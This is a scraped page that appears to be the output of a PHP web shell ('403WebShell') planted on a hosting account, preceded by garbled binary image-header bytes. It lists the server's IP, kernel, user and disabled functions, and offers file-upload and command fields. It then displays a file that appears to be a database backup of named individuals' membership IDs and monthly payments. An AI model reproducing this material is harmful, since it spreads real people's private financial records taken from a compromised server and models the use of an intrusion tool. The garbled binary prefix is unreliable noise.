JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 77.37.66.64  /  Your IP : 216.73.216.163
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/backup_part_be
(100262, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2024-04-07', 'April 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100263, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2024-05-07', 'Mei 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100264, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2024-06-07', 'Juni 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100265, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2024-07-07', 'Juli 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100266, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2024-08-07', 'Agustus 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100267, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2024-09-07', 'September 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100268, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2024-10-07', 'Oktober 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100269, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2024-11-07', 'November 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100270, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2024-12-07', 'Desember 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100271, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2025-01-07', 'Januari 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100272, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2025-02-07', 'Februari 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100273, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2025-03-07', 'Maret 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100274, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2025-04-07', 'April 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100275, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2025-05-07', 'Mei 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100276, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2025-06-07', 'Juni 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100277, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2025-07-07', 'Juli 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100278, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2025-08-07', 'Agustus 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100279, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2025-09-07', 'September 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100280, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2025-10-07', 'Oktober 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100281, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2025-11-07', 'November 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100282, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2025-12-07', 'Desember 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100283, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2026-01-07', 'Januari 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(100284, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2026-02-07', 'Februari 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(100285, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2026-03-07', 'Maret 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(100286, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2026-04-07', 'April 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(100287, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2026-05-07', 'Mei 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(100288, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2026-06-07', 'Juni 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(100289, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2026-07-07', 'Juli 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(100290, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2026-08-07', 'Agustus 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(100291, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2026-09-07', 'September 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(100292, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2026-10-07', 'Oktober 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(100293, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2026-11-07', 'November 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(100294, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2026-12-07', 'Desember 2026', NULL, 30000, NULL, 'valid', '', '2026'),
(100295, 'AYU TIARA NUPRATOMO', 'REK010725IUR10000', 'IDB210322005706', '2027-01-07', 'Januari 2027', NULL, 30000, NULL, 'valid', '', '2027'),
(100296, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2017-01-01', 'Januari 2017', NULL, 30000, NULL, 'valid', '', '2017'),
(100297, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2017-02-01', 'Februari 2017', NULL, 30000, NULL, 'valid', '', '2017'),
(100298, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2017-03-01', 'Maret 2017', NULL, 30000, NULL, 'valid', '', '2017'),
(100299, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2017-04-01', 'April 2017', NULL, 30000, NULL, 'valid', '', '2017'),
(100300, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2017-05-01', 'Mei 2017', NULL, 30000, NULL, 'valid', '', '2017'),
(100301, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2017-06-01', 'Juni 2017', NULL, 30000, NULL, 'valid', '', '2017'),
(100302, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2017-07-01', 'Juli 2017', NULL, 30000, NULL, 'valid', '', '2017'),
(100303, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2017-08-01', 'Agustus 2017', NULL, 30000, NULL, 'valid', '', '2017'),
(100304, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2017-09-01', 'September 2017', NULL, 30000, NULL, 'valid', '', '2017'),
(100305, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2017-10-01', 'Oktober 2017', NULL, 30000, NULL, 'valid', '', '2017'),
(100306, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2017-11-01', 'November 2017', NULL, 30000, NULL, 'valid', '', '2017'),
(100307, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2017-12-01', 'Desember 2017', NULL, 30000, NULL, 'valid', '', '2017'),
(100308, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2018-01-01', 'Januari 2018', NULL, 30000, NULL, 'valid', '', '2018'),
(100309, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2018-02-01', 'Februari 2018', NULL, 30000, NULL, 'valid', '', '2018'),
(100310, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2018-03-01', 'Maret 2018', NULL, 30000, NULL, 'valid', '', '2018'),
(100311, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2018-04-01', 'April 2018', NULL, 30000, NULL, 'valid', '', '2018'),
(100312, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2018-05-01', 'Mei 2018', NULL, 30000, NULL, 'valid', '', '2018'),
(100313, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2018-06-01', 'Juni 2018', NULL, 30000, NULL, 'valid', '', '2018'),
(100314, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2018-07-01', 'Juli 2018', NULL, 30000, NULL, 'valid', '', '2018'),
(100315, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2018-08-01', 'Agustus 2018', NULL, 30000, NULL, 'valid', '', '2018'),
(100316, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2018-09-01', 'September 2018', NULL, 30000, NULL, 'valid', '', '2018'),
(100317, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2018-10-01', 'Oktober 2018', NULL, 30000, NULL, 'valid', '', '2018'),
(100318, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2018-11-01', 'November 2018', NULL, 30000, NULL, 'valid', '', '2018'),
(100319, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2018-12-01', 'Desember 2018', NULL, 30000, NULL, 'valid', '', '2018'),
(100320, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2019-01-01', 'Januari 2019', NULL, 30000, NULL, 'valid', '', '2019'),
(100321, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2019-02-01', 'Februari 2019', NULL, 30000, NULL, 'valid', '', '2019'),
(100322, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2019-03-01', 'Maret 2019', NULL, 30000, NULL, 'valid', '', '2019'),
(100323, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2019-04-01', 'April 2019', NULL, 30000, NULL, 'valid', '', '2019'),
(100324, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2019-05-01', 'Mei 2019', NULL, 30000, NULL, 'valid', '', '2019'),
(100325, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2019-06-01', 'Juni 2019', NULL, 30000, NULL, 'valid', '', '2019'),
(100326, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2019-07-01', 'Juli 2019', NULL, 30000, NULL, 'valid', '', '2019'),
(100327, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2019-08-01', 'Agustus 2019', NULL, 30000, NULL, 'valid', '', '2019'),
(100328, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2019-09-01', 'September 2019', NULL, 30000, NULL, 'valid', '', '2019'),
(100329, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2019-10-01', 'Oktober 2019', NULL, 30000, NULL, 'valid', '', '2019'),
(100330, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2019-11-01', 'November 2019', NULL, 30000, NULL, 'valid', '', '2019'),
(100331, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2019-12-01', 'Desember 2019', NULL, 30000, NULL, 'valid', '', '2019'),
(100332, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2020-01-01', 'Januari 2020', NULL, 30000, NULL, 'valid', '', '2020'),
(100333, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2020-02-01', 'Februari 2020', NULL, 30000, NULL, 'valid', '', '2020'),
(100334, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2020-03-01', 'Maret 2020', NULL, 30000, NULL, 'valid', '', '2020'),
(100335, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2020-04-01', 'April 2020', NULL, 30000, NULL, 'valid', '', '2020'),
(100336, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2020-05-01', 'Mei 2020', NULL, 30000, NULL, 'valid', '', '2020'),
(100337, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2020-06-01', 'Juni 2020', NULL, 30000, NULL, 'valid', '', '2020'),
(100338, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2020-07-01', 'Juli 2020', NULL, 30000, NULL, 'valid', '', '2020'),
(100339, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2020-08-01', 'Agustus 2020', NULL, 30000, NULL, 'valid', '', '2020'),
(100340, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2020-09-01', 'September 2020', NULL, 30000, NULL, 'valid', '', '2020'),
(100341, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2020-10-01', 'Oktober 2020', NULL, 30000, NULL, 'valid', '', '2020'),
(100342, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2020-11-01', 'November 2020', NULL, 30000, NULL, 'valid', '', '2020'),
(100343, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2020-12-01', 'Desember 2020', NULL, 30000, NULL, 'valid', '', '2020'),
(100344, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2021-01-01', 'Januari 2021', NULL, 30000, NULL, 'valid', '', '2021'),
(100345, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2021-02-01', 'Februari 2021', NULL, 30000, NULL, 'valid', '', '2021'),
(100346, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2021-03-01', 'Maret 2021', NULL, 30000, NULL, 'valid', '', '2021'),
(100347, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2021-04-01', 'April 2021', NULL, 30000, NULL, 'valid', '', '2021'),
(100348, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2021-05-01', 'Mei 2021', NULL, 30000, NULL, 'valid', '', '2021'),
(100349, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2021-06-01', 'Juni 2021', NULL, 30000, NULL, 'valid', '', '2021'),
(100350, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2021-07-01', 'Juli 2021', NULL, 30000, NULL, 'valid', '', '2021'),
(100351, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2021-08-01', 'Agustus 2021', NULL, 30000, NULL, 'valid', '', '2021'),
(100352, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2021-09-01', 'September 2021', NULL, 30000, NULL, 'valid', '', '2021'),
(100353, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2021-10-01', 'Oktober 2021', NULL, 30000, NULL, 'valid', '', '2021'),
(100354, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2021-11-01', 'November 2021', NULL, 30000, NULL, 'valid', '', '2021'),
(100355, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2021-12-01', 'Desember 2021', NULL, 30000, NULL, 'valid', '', '2021'),
(100356, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2022-01-01', 'Januari 2022', NULL, 30000, NULL, 'valid', '', '2022'),
(100357, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2022-02-01', 'Februari 2022', NULL, 30000, NULL, 'valid', '', '2022'),
(100358, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2022-03-01', 'Maret 2022', NULL, 30000, NULL, 'valid', '', '2022'),
(100359, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2022-04-01', 'April 2022', NULL, 30000, NULL, 'valid', '', '2022'),
(100360, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2022-05-01', 'Mei 2022', NULL, 30000, NULL, 'valid', '', '2022'),
(100361, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2022-06-01', 'Juni 2022', NULL, 30000, NULL, 'valid', '', '2022'),
(100362, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2022-07-01', 'Juli 2022', NULL, 30000, NULL, 'valid', '', '2022'),
(100363, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2022-08-01', 'Agustus 2022', NULL, 30000, NULL, 'valid', '', '2022'),
(100364, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2022-09-01', 'September 2022', NULL, 30000, NULL, 'valid', '', '2022'),
(100365, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2022-10-01', 'Oktober 2022', NULL, 30000, NULL, 'valid', '', '2022'),
(100366, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2022-11-01', 'November 2022', NULL, 30000, NULL, 'valid', '', '2022'),
(100367, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2022-12-01', 'Desember 2022', NULL, 30000, NULL, 'valid', '', '2022'),
(100368, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2023-01-01', 'Januari 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100369, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2023-02-01', 'Februari 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100370, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2023-03-01', 'Maret 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100371, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2023-04-01', 'April 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100372, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2023-05-01', 'Mei 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100373, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2023-06-01', 'Juni 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100374, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2023-07-01', 'Juli 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100375, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2023-08-01', 'Agustus 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100376, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2023-09-01', 'September 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100377, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2023-10-01', 'Oktober 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100378, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2023-11-01', 'November 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100379, 'SANTHO GUSNANTO ', 'REK010725IUR10000', 'IDB180122003290', '2023-12-01', 'Desember 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100380, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2023-02-28', 'Februari 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100381, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2023-03-28', 'Maret 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100382, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2023-04-28', 'April 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100383, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2023-05-28', 'Mei 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100384, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2023-06-28', 'Juni 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100385, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2023-07-28', 'Juli 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100386, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2023-08-28', 'Agustus 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100387, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2023-09-28', 'September 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100388, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2023-10-28', 'Oktober 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100389, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2023-11-28', 'November 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100390, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2023-12-28', 'Desember 2023', NULL, 30000, NULL, 'valid', '', '2023'),
(100391, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2024-01-28', 'Januari 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100392, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2024-02-28', 'Februari 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100393, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2024-03-28', 'Maret 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100394, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2024-04-28', 'April 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100395, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2024-05-28', 'Mei 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100396, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2024-06-28', 'Juni 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100397, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2024-07-28', 'Juli 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100398, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2024-08-28', 'Agustus 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100399, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2024-09-28', 'September 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100400, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2024-10-28', 'Oktober 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100401, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2024-11-28', 'November 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100402, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2024-12-28', 'Desember 2024', NULL, 30000, NULL, 'valid', '', '2024'),
(100403, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2025-01-28', 'Januari 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100404, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2025-02-28', 'Februari 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100405, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2025-03-28', 'Maret 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100406, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2025-04-28', 'April 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100407, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2025-05-28', 'Mei 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100408, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2025-06-28', 'Juni 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100409, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2025-07-28', 'Juli 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100410, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2025-08-28', 'Agustus 2025', NULL, 30000, NULL, 'valid', '', '2025'),
(100411, 'ELVINE GUNAWAN ', 'REK010725IUR10000', 'IDB140122000703', '2025-09-28', 'September 2025', NULL, 30000, NULL, 'valid', '', '2025'),
